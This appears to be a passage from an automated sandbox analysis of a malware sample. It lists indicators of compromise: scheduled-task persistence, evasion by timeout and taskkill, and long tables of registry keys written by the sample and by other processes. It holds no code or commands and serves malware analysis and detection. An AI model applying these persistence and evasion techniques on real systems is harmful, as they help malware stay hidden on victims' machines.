Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Tue112c483dd3245d.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
7228	schtasks.exe
4300	schtasks.exe
220	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
7536	timeout.exe
4736	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
8112	taskkill.exe
5812	taskkill.exe
7180	taskkill.exe
7652	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	LzmwAqmV.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	LzmwAqmV.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	LzmwAqmV.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	LzmwAqmV.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\FILESYNCCLIENT.AUTOPLAYHANDLER\SHELL\IMPORT\DROPTARGET	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}\1.0\FLAGS\ = "0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.FileSyncClient.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}\1.0\FLAGS\ = "0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07}\ProxyStubClsid32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\LOCALSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0f872661-c863-47a4-863f-c065c182858a}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{A87958FF-B414-7748-9183-DBF183A25905}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{0F872661-C863-47A4-863F-C065C182858A}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{THWC794Y-FI2R-S1WY-Z6CW-JHPFT080JY70}\7289246C77593EBF\2 = "1"	svchost.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "{6BFCACDC-A6A6-4343-9CF6-83A83727367B}"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.AutoPlayHandler	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32\ThreadingModel = "Both"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "SpeechUXPlugin"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "Anywhere;Trailing"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\FILESYNCCLIENT.AUTOPLAYHANDLER.1\CLSID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\FILESYNCCLIENT.FILESYNCCLIENT.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}\ProxyStubClsid32\ = "{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\SYNCENGINECOMSERVER.SYNCENGINECOMSERVER\CLSID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{082D3FEC-D0D0-4DF6-A988-053FECE7B884}\1.0	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\amd64\\FileSyncShell64.dll"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileCoAuth.exe\""	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}\ProxyStubClsid32	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f0809a3b12a4d701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusToastActivator.NucleusToastActivator	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\tn1033.bin"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{389510B7-9E58-40D7-98BF-60B911CB0EA9}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0f872661-c863-47a4-863f-c065c182858a}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ProxyStubClsid32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\SYNCENGINECOMSERVER.SYNCENGINECOMSERVER.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler\shell\import\DropTarget\CLSID = "{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\TypeLib\ = "{638805C3-4BA3-4AC8-8AAC-71A0BA2BC284}"	OneDriveSetup.exe

